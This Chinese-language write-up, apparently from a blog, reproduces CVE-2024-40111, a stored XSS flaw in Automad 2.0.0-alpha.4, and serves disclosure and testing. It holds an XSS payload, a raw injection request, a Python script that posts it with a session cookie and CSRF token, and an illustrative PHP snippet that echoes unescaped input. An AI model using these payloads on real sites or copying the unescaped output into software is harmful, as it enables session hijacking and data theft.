Automad 2.0.0-alpha.4 存储型跨站脚本(XSS)漏洞利用

CVE-2024-40111:Automad 2.0.0-alpha.4 存储型跨站脚本(XSS)漏洞

项目描述

这是一个针对 Automad 2.0.0-alpha.4 版本的内容管理系统(CMS)的安全漏洞利用项目。Automad 是一款基于文件的轻量级 CMS,而此项目揭示了该版本中存在的一个严重安全缺陷------存储型跨站脚本(Stored XSS)漏洞。攻击者可利用该漏洞向模板主体中注入恶意 JavaScript 代码,这些代码会永久存储在服务器上,并在任何访问受影响页面的用户浏览器中执行。

功能特性

  • 漏洞复现:提供详细的步骤和HTTP请求,可复现CVE-2024-40111漏洞。
  • 存储型XSS利用:演示如何注入并持久化恶意脚本到CMS页面中。
  • 管理员权限操作:展示在拥有后台管理员权限时,通过编辑页面内容触发漏洞。
  • 完整请求示例:包含完整的HTTP请求头和请求体,便于测试和验证。
  • 多场景影响:注入的XSS代码可导致会话劫持、数据窃取、钓鱼攻击等后果。

安装指南

本项目为漏洞分析文档,无需安装额外软件。但若要复现漏洞,需满足以下环境要求:

系统要求

  • Automad版本:2.0.0-alpha.4
  • 测试环境:Docker 26.1.4、Debian GNU/Linux 11 (bullseye)
  • Web服务器:Nginx 1.24.0
  • PHP版本:8.3.6
  • 浏览器:任意支持JavaScript的现代浏览器

复现环境搭建(使用Docker)

  1. 从GitHub拉取Automad 2.0.0-alpha.4镜像或源码:

    bash 复制代码
    git clone https://github.com/marcantondahmen/automad.git
    cd automad
    git checkout 2.0.0-alpha.4
  2. 使用Docker构建并运行:

    bash 复制代码
    docker build -t automad:2.0.0-alpha.4 .
    docker run -p 80:80 automad:2.0.0-alpha.4
  3. 访问 http://localhost 完成Automad的初始安装配置,并创建管理员账户。

使用说明

漏洞利用步骤

  1. 登录后台 :使用管理员账户登录,访问 http://localhost/dashboard/home

  2. 编辑首页:在仪表盘中选择编辑默认的"Welcome"页面。

  3. 定位内容区块 :导航至 http://localhost/dashboard/page?url=%2F&section=text,编辑名为 Main 的区块。

  4. 注入XSS载荷:在文本编辑区域输入以下载荷:

    html 复制代码
    <img src=x onerror=alert(1)>
  5. 保存并触发 :保存页面修改,随后访问首页 http://localhost/,浏览器将弹出 alert(1) 对话框。

攻击请求示例

以下是对 /_api/page/data 接口发送的恶意请求(关键载荷部分):

http 复制代码
POST /_api/page/data HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCv
Cookie: Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cb

WebKitFormBoundaryzHmXQBdtZsTYQYCv
Content-Disposition: form-data; name="__json__"

{"data":{"+main":{"blocks":[{"id":"lD9sUJki6gn463oRwjcY_ICq5oQPYZVP","type":"paragraph","data":{"text":"<img src=x onerror=alert(1)>","large":false}}]}},"url":"/"}
WebKitFormBoundaryzHmXQBdtZsTYQYCv--

预期响应

http 复制代码
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 30

{"code":200,"time":1718911055}

漏洞验证

访问首页 http://localhost/,若弹出 alert(1) 对话框,则表示XSS漏洞成功触发。

核心代码

以下是漏洞利用中的核心载荷及请求构造逻辑:

XSS载荷注入片段

javascript 复制代码
// 恶意载荷
const xssPayload = '<img src=x onerror=alert(1)>';

// 注入到页面内容的JSON结构中
const maliciousData = {
    "data": {
        "+main": {
            "blocks": [
                {
                    "id": "lD9sUJki6gn463oRwjcY_ICq5oQPYZVP",
                    "type": "paragraph",
                    "data": {
                        "text": xssPayload,
                        "large": false
                    }
                }
            ]
        }
    },
    "url": "/"
};

请求发送函数(概念示例)

python 复制代码
import requests

# 目标URL和Cookie(需替换为实际值)
url = "http://localhost/_api/page/data"
cookies = {
    "Automad-8c069df52082beee3c95ca17836fb8e2": "d6ef49301b4eb159fbcb392e5137f6cb"
}

# 构造multipart/form-data请求
files = {
    "__csrf__": (None, "49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1"),
    "__json__": (None, '{"data":{"+main":{"blocks":[{"id":"test","type":"paragraph","data":{"text":"<img src=x onerror=alert(1)>"}}]},"url":"/"}}')
}

response = requests.post(url, cookies=cookies, files=files)
print(response.status_code, response.text)

服务端响应处理(Automad漏洞点模拟)

php 复制代码
// Automad中处理页面数据存储的简化逻辑(漏洞位置示意)
$jsonInput = $_POST['__json__'];
$pageData = json_decode($jsonInput, true);

// 未对用户输入的HTML内容进行充分的过滤或转义
$content = $pageData['data']['+main']['blocks'][0]['data']['text'];

// 存储到文件或数据库
savePageContent($content);

// 前端渲染时直接输出,导致XSS
echo $content;

6HFtX5dABrKlqXeO5PUv/2CeWfjxRzGcbKwZW03RE0axryGu0rTYkQimlZuBGv7l

相关推荐
网络工程小王几秒前
【LLM开发实验】LLM推理基本介绍
人工智能·量化·推理
Bruce_Liuxiaowei6 分钟前
机器人的自由意志:约翰·麦卡锡《Free Will—Even for Robots》论文解读
人工智能·ai
阿里云大数据AI技术11 分钟前
使用 PAI ,一行命令跑起来云端 DeepSeek Agent
人工智能·agent·deepseek
hangzhouhuanyu13 分钟前
从培训到创业:AI工具在数字经济中的落地路径与避坑指南
大数据·人工智能
Lalolander15 分钟前
WorkBuddy App 怎么发起任务?输入栏与发送全流程
大数据·人工智能·金蝶erp·workbuddy
集芯微电科技有限公司18 分钟前
700V/17A高频开关低导通阻GaN HEMT驱动器适用于快充,LLC,PFC功率校正
人工智能·嵌入式硬件·深度学习·神经网络·机器学习·生成对抗网络·计算机外设
qq_252941316821 分钟前
窗户清洁检测数据集 | 窗户清洁检测 建筑运维 二分类任务 YOLO格式 深度学习数据集9019期
运维·人工智能·深度学习·yolo·目标检测·分类·窗户清晰度
落魄实习生24 分钟前
Spring AI Alibaba入门-生态集成
java·人工智能·spring
YOLO数据集集合24 分钟前
尼帕果实目标检测数据集 | 尼帕果实检测 农业视觉 热带作物 目标检测 YOLO格式9013期
人工智能·yolo·目标检测·机器学习·计算机视觉·农业果实
码视野30 分钟前
基于 Spring Boot + Vue3 的【高校化学实验室安全准入考试与危化品配伍排查系统】设计与实现(含PRD/三端高保真源码/大屏)
前端·人工智能·spring boot·后端·安全·vue3